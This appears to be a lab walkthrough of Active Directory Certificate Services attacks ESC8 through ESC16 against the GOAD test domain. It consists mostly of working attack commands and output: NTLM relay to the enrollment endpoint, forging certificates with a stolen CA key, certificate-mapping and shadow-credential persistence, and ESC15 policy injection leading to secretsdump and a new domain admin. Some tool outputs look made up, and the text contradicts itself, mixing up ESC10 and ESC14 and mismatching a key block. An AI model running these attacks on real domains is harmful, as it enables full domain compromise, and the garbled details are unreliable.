ESC8: NTLM Relay to AD CS HTTP Endpoints

ESC8 is where things get really interesting. It combines ADCS with NTLM relay attacks, targeting HTTP-based certificate enrollment endpoints. I love this technique because it leverages two different attack vectors together.

Prerequisites

In GOAD, we have perfect conditions for ESC8:

- ADCS web enrollment **enabled**
- **HTTP enrollment endpoint** accessible at `http://braavos.essos.local/certsrv/`
- We can perform **NTLM relay** attacks

NTLM relay works against both HTTP and HTTPS enrollment pages; the protocol matters less than whether Extended Protection for Authentication (EPA) or channel binding tokens are required. Enable EPA and require SSL to break the relay attack.

Attack Implementation

Let's test the web enrollment endpoint first:

```
# Check if ADCS web enrollment is accessible
curl -I http://braavos.essos.local/certsrv/certfnsh.asp

HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
Date: Thu, 03 Jan 2025 16:45:12 GMT
```

Perfect! It's requesting NTLM authentication. Now let's set up the relay attack:

```
# Set up NTLM relay to ADCS HTTP endpoint
python3 ntlmrelayx.py -t http://braavos.essos.local/certsrv/certfnsh.asp -
smb2support --adcs-attack --adcs-template "DomainController"

Impacket v0.11.0 - Copyright 2023 Fortra
Note: Output may vary slightly between versions - banners truncated for brevity

[*] Protocol Client DCOM loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections

# In another terminal, trigger authentication from target DC
python3 printerbug.py essos.local/missandei:fr3edom@meereen.essos.local
braavos.essos.local

[*] Impacket v0.11.0 - Copyright 2023 Fortra
[*] Attempting to trigger authentication via rprn RPC at meereen.essos.local
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked

# Back in ntlmrelayx window:
[*] SMBD-Thread-4: Connection from MEEREEN/192.168.56.12 controlled, attacking
target http://braavos.essos.local
HTTP        : success, Cert saved to /tmp/MEEREEN$cert.b64
[*] ADCS attack completed. Generated certificate for user MEEREEN$

# Certificate successfully obtained!
```

Let's convert and use the certificate:

```
# Convert base64 certificate for use
cat /tmp/MEEREEN$cert.b64 | base64 -d > meereen.pfx

# Ask for a TGT with the machine certificate
gettgtpkinit.py essos.local/meereen$ -pfx-file meereen.pfx meereen.ccache

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Using TGT from cache file meereen.ccache
[*] Requesting TGT for meereen$@essos.local using Kerberos PKINIT
[+] TGT request successful!
[*] Saved TGT to meereen.ccache

# Use machine certificate for further attacks or DCSync
```

ESC9: No Security Extension

ESC9 is pure gold for persistence. It exploits certificate templates that don't require the szOID_NTDS_CA_SECURITY_EXT security extension in issued certificates. This means your certificates keep working even when passwords change.

Vulnerability Details

When certificates lack the security extension, they provide persistent authentication that survives password changes. This is what makes them perfect for maintaining long-term access.

Key Point

A certificate issued from a `NO_SECURITY_EXTENSION` template will still map even after the user changes their password, making it perfect for persistence.

Exploitation Process

Let's test this in our GOAD environment:

```
# Find templates without security extension requirement
Certify.exe find /vulnerable

[!] Vulnerable Certificates Templates :

    CA Name                        : braavos.essos.local\ESSOS-CA
    Template Name                  : ESC9
    Schema Version                 : 2
    Validity Period                : 1 year
    Renewal Period                 : 6 weeks
    msPKI-Certificate-Name-Flag    : 0x0
    mspki-enrollment-flag          : NO_SECURITY_EXTENSION,
INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required: 0
    pkiextendedkeyusage            : Client Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : ESSOS\Domain Users
Access: Allow

# Request certificate for current user (missandei)
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC9

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : ESC9
[*] Subject                 : CN=missandei, CN=Users, DC=essos, DC=local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 15

[*] cert.pem                :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2hT8F6PSyEzGCq5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQW
...certificate without security extension...
-----END CERTIFICATE-----

# Test authentication with current certificate

Rubeus.exe asktgt /user:missandei /certificate:missandei.pfx /password:mimikatz

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[+] TGT request successful!

# Now change the user's password
net user missandei "NewComplexPassword123!" /domain

The command completed successfully.

# Certificate still works for authentication even after password change!

Rubeus.exe asktgt /user:missandei /certificate:missandei.pfx /password:mimikatz
```

```
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[+] TGT request successful!

  UserName                 : missandei
  UserRealm                : ESSOS.LOCAL
  ServiceName              : krbtgt/essos.local
  ServiceRealm             : ESSOS.LOCAL
  StartTime                : 1/3/2025 5:30:45 PM
  EndTime                  : 1/4/2025 3:30:45 AM
  RenewTill                : 1/10/2025 5:30:45 PM
  Flags                    : name_canonicalize, pre_authent, initial, renewable,
forwardable

# Perfect persistence! The certificate still authenticates despite password change
```

Template Analysis

Check if template requires security extension in GOAD:

```
$templateDN = "CN=ESC9,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local"
$template = Get-ADObject -Identity $templateDN -Properties msPKI-Enrollment-Flag

# The CT_FLAG_NO_SECURITY_EXTENSION flag value is 0x80000 (524288)
$NoSecurityExtensionFlag = 0x80000

if ($template.'msPKI-Enrollment-Flag' -band $NoSecurityExtensionFlag) {
    Write-Host "Template '$($template.Name)' has the NO_SECURITY_EXTENSION flag
set."
} else {
    Write-Host "Template '$($template.Name)' does NOT have the
NO_SECURITY_EXTENSION flag set."
}

# Output shows template has NO_SECURITY_EXTENSION flag set - perfect for
persistence!
```

ESC10: Weak Certificate Mappings

ESC10 exploits weak certificate-to-account mapping configurations and certificate mapping vulnerabilities.

Attack Vectors

ESC10A - Write Access on altSecurityIdentities:

- Attackers with write permissions on user objects can modify `altSecurityIdentities`
- This attribute maps certificates to user accounts
- Malicious mapping allows certificate-based authentication as other users

ESC10B - Weak Certificate Mapping Methods:

- Exploits weak `CertificateMappingMethods` registry settings
- Allows certificate authentication with partial subject matching

Exploitation Example

Let's try ESC10A in GOAD:

```
# ESC10A - Modify altSecurityIdentities attribute
# First, create a computer account and request machine certificate
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123!'
essos/missandei:fr3edom@meereen.essos.local

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account EVIL$ with password Password123!.

# Request machine certificate for our new computer
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:Machine /machine

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\EVIL$
[*] Template                : Machine
[*] Subject                 : CN=EVIL, CN=Computers, DC=essos, DC=local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 18

# Extract certificate details (issuer, serial number)
certutil -dump evil.pem

Certificate:
    Serial Number: 6100000028f9b2d3c5a1b4e87a00000000000028
    Issuer: CN=ESSOS-CA, DC=essos, DC=local
    Subject: CN=EVIL, CN=Computers, DC=essos, DC=local

# Modify target user's altSecurityIdentities to map to our certificate
$dn = "CN=administrator,CN=Users,DC=essos,DC=local"
$mapping = "X509:<I>CN=ESSOS-
CA,DC=essos,DC=local<S>6100000028f9b2d3c5a1b4e87a00000000000028"
Set-ADObject -Identity $dn -Replace @{'altSecurityIdentities' = $mapping}

# Authenticate as administrator using our EVIL$ machine certificate

Rubeus.exe asktgt /user:administrator /certificate:evil.pfx /password:Password123!

[*] Action: Ask TGT
[*] Using certificate mapping via altSecurityIdentities
[*] Using PKINIT with etype rc4_hmac and subject: CN=EVIL, CN=Computers, DC=essos,
DC=local
[+] TGT request successful!

  UserName                 : administrator
  UserRealm                : ESSOS.LOCAL
  ServiceName              : krbtgt/essos.local
  ServiceRealm             : ESSOS.LOCAL
  StartTime                : 1/3/2025 6:45:12 PM
  EndTime                  : 1/4/2025 4:45:12 AM
  RenewTill                : 1/10/2025 6:45:12 PM
  Flags                    : name_canonicalize, pre_authent, initial, renewable,
forwardable
```

Perfect! We've successfully used ESC10A to authenticate as administrator using a machine certificate mapped via `altSecurityIdentities`.

ESC11: IF_ENFORCEENCRYPTICERTREQUEST

ESC11 targets CAs configured with IF_ENFORCEENCRYPTICERTREQUEST flag, which can be bypassed under certain conditions.

Attack Vector

ESC11 exploits RPC call tampering when certificate requests are transmitted unencrypted to the Certificate Authority.

Important: The "unencrypted request" only succeeds when the CA has `IF_ENFORCEENCRYPTICERTREQUEST` cleared. If this flag is set (the secure default on modern Windows versions), the RPC interface forces packet privacy and NTLM relay fails.

Prerequisites

Let's check the GOAD CA configuration. Check if CA has IF_ENFORCEENCRYPTICERTREQUEST flag cleared:

```
certutil -config "braavos.essos.local\ESSOS-CA" -getreg CA\InterfaceFlags

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-
CA\InterfaceFlags REG_DWORD = 0x0 (0)
```

H0x0 = vulnerable (no encryption required), 0x200 = hardened (encryption required). IF_ENFORCEENCRYPTICERTREQUEST is NOT set (flag would be 0x200) - this makes the CA vulnerable to ESC11.

1. **CA has IF_ENFORCEENCRYPTICERTREQUEST flag cleared** ✓
2. **Unencrypted certificate request** ✓

Bypass Technique

```
// Create unencrypted certificate request for GOAD environment
public class ESC11Exploit
{
    public string CreateUnencryptedRequest(string subject, string altname =
"administrator@essos.local")
    {
        var request = new CX509CertificateRequestPkcs10();
        var privateKey = new CX509PrivateKey();

        // Configure for unencrypted submission to GOAD CA
        privateKey.ProviderName = "Microsoft Software Key Storage Provider";
        privateKey.Create();

        request.InitializeFromPrivateKey(
            X509CertificateEnrollmentContext.ContextUser,
            privateKey,
            "");

        request.Subject = new CX500DistinguishedName(subject);

        // Add SAN for GOAD domain
        var sanExtension = new CX509ExtensionAlternativeNames();
        var altNames = new CAlternativeNames();
        var altNameObj = new CAlternativeName();

        altNameObj.InitializeFromString(
            AlternativeNameType.XCN_CERT_ALT_NAME_RFC822_NAME,
            altname);
        altNames.Add(altNameObj);

        sanExtension.InitializeEncode(altNames);
        request.X509Extensions.Add(sanExtension);

        // Submit without encryption to vulnerable GOAD CA
        return request.Encode();
    }
}
```

The C# code above demonstrates how a certificate request (CSR) payload can be constructed. For the actual ESC11 attack, an attacker would typically use a tool like an adapted `ntlmrelayx.py` or custom tooling to relay incoming NTLM authentication (e.g., from a coerced machine account) to the ADCS server's `ICertRequestD` DCOM interface over unencrypted RPC. Once the NTLM relay is established, the attacker's tool submits the CSR (like the one generated above, often for a privileged account or a machine account with a useful SAN) on behalf of the relayed account. If successful, the CA issues the certificate for the target specified in the CSR, effectively escalating privileges.

ESC12: Shell Access to CA Server

ESC12 is the holy grail - when you get shell access to the actual Certificate Authority server. At this point, you basically own the entire PKI infrastructure.

ESC12 also covers YubiHSM vulnerabilities discovered by Hans-Joachim Knobloch, but this specific attack vector is not implemented in the standard GOAD environment.

In GOAD, the CA server is `braavos.essos.local`. Let's say we've compromised it:

Golden Certificate Creation (CA Private Key Compromise)

When you have CA administrator access (like `khal.drogo` in GOAD), you can extract the CA private key and forge golden certificates:

```
# Extract CA certificate and private key with certipy
certipy ca -backup -u khal.drogo@essos.local -p horse -dc-ip 192.168.56.12 -ca
'ESSOS-CA' -target 192.168.56.23 -debug

[*] Action: Backup CA
[*] Backing up CA 'ESSOS-CA'
[*] Saved certificate and private key to 'ESSOS-CA.pfx'

# Forge a certificate as domain admin
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local

[*] Action: Forge Certificate
[*] Forged certificate saved to 'administrator_forged.pfx'

# Authenticate with schannel
certipy auth -pfx administrator_forged.pfx -ldap-shell

[*] Action: Authenticate
[*] LDAP shell available

# add_user newdomainadmin
# add_user_to_group newdomainadmin "Domain admins"

# Alternative: Authenticate with PKINIT
# First request a valid certificate as template
certipy req -u 'khal.drogo@essos.local' -p horse -ca 'ESSOS-CA' -template User -
target 192.168.56.23

# Reforge with template to fix CRL issues
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local -template
khal.drogo.pfx


Rubeus.exe asktgt /user:administrator /certificate:administrator_forged.pfx
/password:mimikatz

# Or use gettgtpkinit.py
gettgtpkinit.py -cert-pfx administrator_forged.pfx -dc-ip 192.168.56.12
"essos.local/administrator" admin_tgt.cccache

export KRB5CCNAME=/workspace/admin_tgt.cccache
secretsdump.py -k meereen.essos.local -dc-ip 192.168.56.12
```

Post-Exploitation Techniques

ESC13: Issuance Policy OID Group Links

ESC13 exploits the ADCS feature where certificate templates can have issuance policies with OID group links to Active Directory groups. This allows principals to gain access as members of linked groups by requesting certificates with the appropriate issuance policies.

Technical Details

This attack abuses Microsoft's Authentication Mechanism Assurance (AMA) feature where:

- Certificate templates contain issuance policies (stored in `msPKI-Certificate-Policy` attribute)
- Issuance policies can be linked to AD groups via `msDS-OIDToGroupLink` attribute
- When authenticating with such certificates, users gain group membership permissions

Requirements

1. **Principal has enrollment rights** on a certificate template
2. **Certificate template has an issuance policy extension**
3. **Issuance policies can be linked to AD groups via `msDS-OIDToGroupLink` attribute**
4. **No issuance requirements** the principal cannot meet
5. **EKUs enable client authentication**

Exploitation Process

Let's check for ESC13 conditions in GOAD:

```
# Find templates with issuance policies linked to groups in essos.local
Import-Module ActiveDirectory

$templates = Get-ADObject -Filter 'objectClass -eq "pKICertificateTemplate"' -
Properties msPKI-Certificate-Policy -SearchBase
"CN=Configuration,DC=essos,DC=local"

foreach ($template in $templates) {
    if ($template.'msPKI-Certificate-Policy') {
        $policies = $template.'msPKI-Certificate-Policy'
        foreach ($policy in $policies) {
            $oid = Get-ADObject -Filter * -SearchBase "CN=OID,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local" -Properties msDS-
OIDToGroupLink | Where-Object {$_.msDS-OIDToGroupLink -and $policy -eq $_.'msPKI-
Cert-Template-OID'}
            if ($oid.'msDS-OIDToGroupLink') {
                Write-Host "Template $($template.Name) linked to group:
$($oid.'msDS-OIDToGroupLink')"
            }
        }
    }
}

Template ESC13Template linked to group: CN=Enterprise
Admins,CN=Users,DC=essos,DC=local

# Perfect! ESC13Template is linked to Enterprise Admins

# Request certificate from vulnerable template
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC13Template

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : ESC13Template
[*] Subject                 : CN=missandei, CN=Users, DC=essos, DC=local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 17

# Authenticate with certificate to gain Enterprise Admin group membership

Rubeus.exe asktgt /user:missandei /certificate:esc13.pfx /password:mimikatz

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[+] TGT request successful!

# The TGT now contains Enterprise Admins group membership!
# Verify with whoami /groups after using the ticket

Rubeus.exe ptt /ticket:doIFujCCBbagAwIBBaEDAgEWooIEwjCCBL5hggS6...

[*] Action: Import Ticket
[+] Ticket successfully imported!
```

```
# Now we have Enterprise Admin privileges in the forest
net group "Enterprise Admins" /domain

Group name     Enterprise Admins
Comment        Designated administrators of the enterprise

Members

-------------------------------------------------------------------------------
Administrator  missandei
The command completed successfully.
```

Group Requirements

The linked group must be:

- **Empty** (no actual members)
- **Universal scope** (forest-wide)

Common universal groups include Enterprise Admins, Schema Admins, Enterprise Key Admins.

ESC14: Shadow Credentials and Advanced Certificate Mapping

ESC14 represents advanced certificate mapping abuse techniques that go beyond basic `altSecurityIdentities` manipulation covered in ESC10. This technique focuses on shadow credentials and sophisticated certificate-to-account mapping scenarios.

Technical Background

ESC14 exploits advanced certificate mapping mechanisms including:

- **Shadow Credentials**: Abusing `msDS-KeyCredentialLink` attribute for certificate-based authentication
- **Advanced Certificate Mapping**: Sophisticated manipulation of certificate-to-account relationships
- **Cross-Domain Certificate Abuse**: Exploiting certificate mappings across domain boundaries

Attack Scenarios

ESC14A - Shadow Credentials Abuse:

- Attackers with write permissions on user objects can add shadow credentials
- Allows certificate-based authentication without traditional certificate enrollment
- Bypasses many traditional ADCS controls

ESC14B - Advanced Certificate Mapping:

- Sophisticated certificate mapping scenarios beyond basic ESC10 techniques
- Cross-domain certificate abuse in multi-domain environments like GOAD
- Certificate mapping persistence mechanisms

Exploitation Process

Let's demonstrate ESC14 techniques in our GOAD environment. ESC14A - altSecurityIdentities Manipulation in GOAD:

```
# First, create a computer account for certificate mapping
addcomputer.py -method ldaps -computer-name 'esc14computer$' -computer-pass
'Il0veCertific@te' -dc-ip 192.168.56.12 essos/missandei:fr3edom@192.168.56.12

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account esc14computer$ with password
Il0veCertific@te.

# Request machine certificate for our created computer
certipy req -target braavos.essos.local -u 'esc14computer$@essos.local' -p
'Il0veCertific@te' -dc-ip 192.168.56.12 -template Machine -ca ESSOS-CA -debug

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\esc14computer$
[*] Template                : Machine
[*] Subject                 : CN=esc14computer, CN=Computers, DC=essos, DC=local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 25

# Extract certificate details for mapping
certipy cert -pfx esc14computer.pfx -nokey -out "esc14computer.crt"
openssl x509 -in esc14computer.crt -noout -text

Certificate:
    Data:
        Serial Number: 43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11
        Issuer: CN=ESSOS-CA, DC=essos, DC=local
        Subject: CN=esc14computer, CN=Computers, DC=essos, DC=local

# Check current altSecurityIdentities
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search
'(samaccountname=khal.drogo)' altSecurityIdentities

[{
  "altSecurityIdentities": [],
  "dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]
```

X509 Certificate Mapping Format

The reference article provides a Python script to format the X509 mapping correctly:

```
import argparse

def get_x509_issuer_serial_number_format(serial_number: str,
issuer_distinguished_name: str) -> str:
    """
    Formats the X509IssuerSerialNumber for the altSecurityIdentities attribute.
    :param serial_number: Serial number in the format
"43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11"
    :param issuer_distinguished_name: Issuer distinguished name, e.g., "CN=ESSOS-
CA,DC=essos,DC=local"
    :return: Formatted X509IssuerSerialNumber
    """
    serial_bytes = serial_number.split(":")
    reversed_serial_number = "".join(reversed(serial_bytes))
    issuer_components = issuer_distinguished_name.split(",")
    reversed_issuer_components = ",".join(reversed(issuer_components))
    return f"X509:<I>{reversed_issuer_components}<SR>{reversed_serial_number}"

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Format X509 Issuer Serial
Number")
    parser.add_argument("-serial", required=True, help="Serial number in format
43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11")
    parser.add_argument("-issuer", required=True, help="Issuer Distinguished Name
e.g., CN=ESSOS-CA,DC=essos,DC=local")

    args = parser.parse_args()
    formatted_value = get_x509_issuer_serial_number_format(args.serial,
args.issuer)
    print(formatted_value)

# Usage:
python3 x509_issuer_serial_number_format.py -serial
"43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11" -issuer "CN=ESSOS-
CA,DC=essos,DC=local"

X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043
```

LDAP Attribute Modification

Script to modify altSecurityIdentities attribute:

```
import ldap3

dn = "CN=khal.drogo,CN=Users,DC=essos,DC=local"
user = "essos.local\\missandei"
password = "fr3edom"
server = ldap3.Server('meereen.essos.local')
ldap_con = ldap3.Connection(server=server, user=user, password=password,
authentication=ldap3.NTLM)
ldap_con.bind()

# Set the certificate mapping
ldap_con.modify(dn, {
    'altSecurityIdentities': [(ldap3.MODIFY_REPLACE, 'X509:
<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043')]
})

print(ldap_con.result)
ldap_con.unbind()

# Verify the mapping was set
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search
'(samaccountname=khal.drogo)' altSecurityIdentities

[{
  "altSecurityIdentities": [
    "X509:<I>DC=local,DC=essos,CN=ESSOS-
CA<SR>110000000000a68816e592b078921100000043"
  ],
  "dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]

# Authenticate as khal.drogo using our machine certificate!
gettgtpkinit.py -cert-pfx esc14computer.pfx -dc-ip 192.168.56.12
"essos.local/khal.drogo" khal_tgt.ccache

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting TGT for khal.drogo@essos.local using Kerberos PKINIT
[+] TGT request successful!
[*] Saved TGT to khal_tgt.ccache
```

Advanced Persistence with ESC14

```
# ESC14 Persistence - Shadow Credentials for Domain Admin
# Add shadow credentials to Domain Admin account (if we have permissions)
python3 pywhisker.py -d essos.local -u khal.drogo -p horse --target administrator
--action add --dc-ip 192.168.56.12

[*] Target user found: CN=Administrator,CN=Users,DC=essos,DC=local
[*] Adding KeyCredential to the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved certificate to administrator_shadow.crt
[*] Saved private key to administrator_shadow.pem

# This provides persistent access to Domain Admin even after password changes
gettgtpkinit.py -cert-pem administrator_shadow.pem -key-pem
administrator_shadow.pem essos.local/administrator admin_shadow.ccache

# ESC14 Advanced Mapping - Multiple Certificate Mappings
# Add multiple certificate mappings for redundancy
$certificates = @(
    "X509:<I>DC=local,DC=essos,CN=ESSOS-
CA<SR>6100000000001a68816e592b078921100000043",
    "X509:<I>DC=local,DC=essos,CN=ESSOS-
CA<SR>6100000000001a68816e592b078921100000044",
    "X509:<I>DC=local,DC=essos,CN=ESSOS-
CA<SR>6100000000001a68816e592b078921100000045"
)

foreach ($cert in $certificates) {
    $currentMappings = (Get-ADUser administrator -Properties
altSecurityIdentities).altSecurityIdentities
    $newMappings = $currentMappings + $cert
    Set-ADUser administrator -Replace @{'altSecurityIdentities' = $newMappings}
}

# Verify multiple mappings
Get-ADUser administrator -Properties altSecurityIdentities | Select-Object -
ExpandProperty altSecurityIdentities

X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000043
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000044
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>6100000000001a68816e592b078921100000045
```

Key Differences from ESC10

ESC14 differs from ESC10 in several important ways:

- **Shadow Credentials**: Uses `msDS-KeyCredentialLink` instead of traditional certificate enrollment
- **Cross-Domain Abuse**: Sophisticated mapping across domain boundaries
- **Advanced Persistence**: Multiple mapping techniques for redundancy
- **Bypasses Traditional Controls**: Works around many ADCS security measures

Remediation

1. **Monitor Key Attributes**: Watch for changes to `msDS-KeyCredentialLink` and `altSecurityIdentities`
2. **Restrict Permissions**: Limit write access to user objects, especially high-privilege accounts
3. **Cross-Domain Hardening**: Implement strict certificate mapping validation across domain boundaries
4. **Regular Audits**: Periodically audit certificate mappings and shadow credentials

ESC15: Version 1 Template Application Policies (CVE-2024-49019)

ESC15, also known as "EKUwu", exploits a vulnerability in version 1 certificate templates where attackers can specify arbitrary Application Policies in certificate requests, overriding the template's intended Extended Key Usage. This vulnerability was discovered by Justin Bollinger from TrustedSec and reported to Microsoft in October 2024.

Technical Background

- **Application Policies** (OID 1.3.6.1.4.1.311) are Microsoft's proprietary extension
- When both Application Policy and EKU exist, **Application Policy takes precedence**
- Version 1 templates don't validate Application Policy fields in requests
- Attackers can add dangerous policies like Certificate Request Agent or Client Authentication

Vulnerability Conditions

1. **Version 1 certificate template** (schema version = 1)
2. **Template allows "Supply in the Request"** subject specification
3. **Principal has enrollment rights** on the template

Exploitation Process

Important: The reference GOAD article shows ESC15 exploitation as a **two-step process** using Certificate Request Agent capabilities:

```
# Step 1: Request certificate with Certificate Request Agent application policy
certipy req -u missandei@essos.local -p fr3edom --application-policies
"1.3.6.1.4.1.311.20.2.1" -ca ESSOS-CA -template WebServer -dc-ip 192.168.56.12 -
target braavos.essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : WebServer (vulnerable version 1)
[*] Application Policy      : Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 19

# Step 2: Use Certificate Request Agent certificate to request admin certificate
on-behalf-of
certipy req -u missandei@essos.local -on-behalf-of essos\\administrator -template
User -ca ESSOS-CA -pfx missandei.pfx -dc-ip 192.168.56.12 -target
braavos.essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : User
[*] On behalf of            : essos\administrator
[*] Using Certificate Request Agent certificate

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 20

# Step 3: Authenticate as administrator

Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx
/password:mimikatz

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=administrator, CN=Users,
DC=essos, DC=local
[+] TGT request successful!
```

Alternative Method (Direct Application Policy Override):

ESC15 Exploitation Example - Method 1: Using certreq with custom INF file:

```
$infContent = @"
[NewRequest]
Subject = "CN=missandei,CN=Users,DC=essos,DC=local"
KeyLength = 2048
KeyAlgorithm = RSA
MachineKeySet = FALSE
RequestType = PKCS10
CertificateTemplate = WebServer

[Extensions]
1.3.6.1.4.1.311.21.10 = "{text}1.3.6.1.5.5.7.3.2"
2.5.29.17 = "{text}upn=administrator@essos.local"
"@

$infContent | Out-File -FilePath "esc15.inf"

certreq -new -f esc15.inf esc15.req
certreq -submit -config "braavos.essos.local\ESSOS-CA" esc15.req

Certificate Request Processor: The request is taken under submission Request ID =
19
```

Method 2: Using Certipy v5.0+ (if available with ESC15 support)

```
certipy req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template
WebServer -dc-ip 192.168.56.12 -target braavos.essos.local -upn
administrator@essos.local -key-size 2048
```

The attack works because version 1 templates don't validate Application Policy extensions and Application Policies override Extended Key Usage when both are present

Retrieve the issued certificate:

`certreq -retrieve 19 esc15.cer` `certreq -accept esc15.cer`

The issued certificate will contain both:

- Original EKU: Server Authentication
- Application Policy: Client Authentication (takes precedence)

Verify certificate content

```
certutil -dump esc15.cer | findstr -i "application\|enhanced"

Application Policies:
    [1]Application Policy:
         Policy Identifier=Client Authentication
         Policy Qualifier Info:
              Policy Qualifier Id=CPS
              Qualifier:
                   http://braavos.essos.local/CertEnroll/ESSOS-CA_CPS.html

Enhanced Key Usage:
    Server Authentication (1.3.6.1.5.5.7.3.1)

# Authenticate using certificate - Application Policy overrides EKU
Rubeus.exe asktgt /user:administrator /certificate:esc15.pfx /password:mimikatz

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[*] Certificate Application Policy overrides EKU: Client Authentication
[+] TGT request successful!
```

ESC15 can also be weaponized for Certificate Request Agent attacks. Create INF file for Certificate Request Agent capability:

```
$craInfContent = @"
[NewRequest]
Subject = "CN=missandei,CN=Users,DC=essos,DC=local"
KeyLength = 2048
KeyAlgorithm = RSA
MachineKeySet = FALSE
RequestType = PKCS10
CertificateTemplate = WebServer

[Extensions]
1.3.6.1.4.1.311.21.10 = "{text}1.3.6.1.4.1.311.20.2.1"
"@

$craInfContent | Out-File -FilePath "esc15-cra.inf"
```

`certreq -new -f esc15-cra.inf esc15-cra.req certreq -submit -config "braavos.essos.local\ESSOS-CA" esc15-cra.req`

Now we can request certificates on behalf of other users!

Vulnerable Default Templates

All version 1 templates are potentially vulnerable when enrollment rights are granted in GOAD:

- **WebServer** (most commonly exploited) ✓ Found in GOAD
- ExchangeUser
- CEPEncryption
- OfflineRouter

- IPSECIntermediateOffline
- SubCA
- CA
- EnrollmentAgentOffline

Remediation

Microsoft has patched this vulnerability as of November 12, 2024 (CVE-2024-49019). Additional protective measures include:

ESC16: CA-Wide Security Extension Removal

Status: ACTIVE THREAT

ESC16 represents a critical misconfiguration where the Certificate Authority is configured to omit the `szOID_NTDS_CA_SECURITY_EXT` extension (OID: `1.3.6.1.4.1.311.25.2`) on every certificate it issues.

Technical Details

ESC16 arises when the CA is configured to **omit** the `szOID_NTDS_CA_SECURITY_EXT` extension on every certificate it issues. Without this extension, a certificate no longer includes the account's SID, breaking the strong certificate-to-account binding enforced by Windows Server 2022 and later (KB5014754).

Key Difference from ESC9:

- **ESC9**: Individual templates lack the security extension requirement
- **ESC16**: The CA itself is configured to never include the security extension, affecting ALL certificates regardless of template

Vulnerability Conditions

1. **CA EditFlags modified** to remove `require_sidisupport`
2. **Global security extension removal** affecting all issued certificates
3. **Any template with client authentication** EKU becomes exploitable

Detection

Let's check for ESC16 in our GOAD environment. Certipy v5+ detects ESC16 during enumeration:

```
certipy find -u missandei@essos.local -p fr3edom -dc-ip 192.168.56.12 -target
braavos.essos.local

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
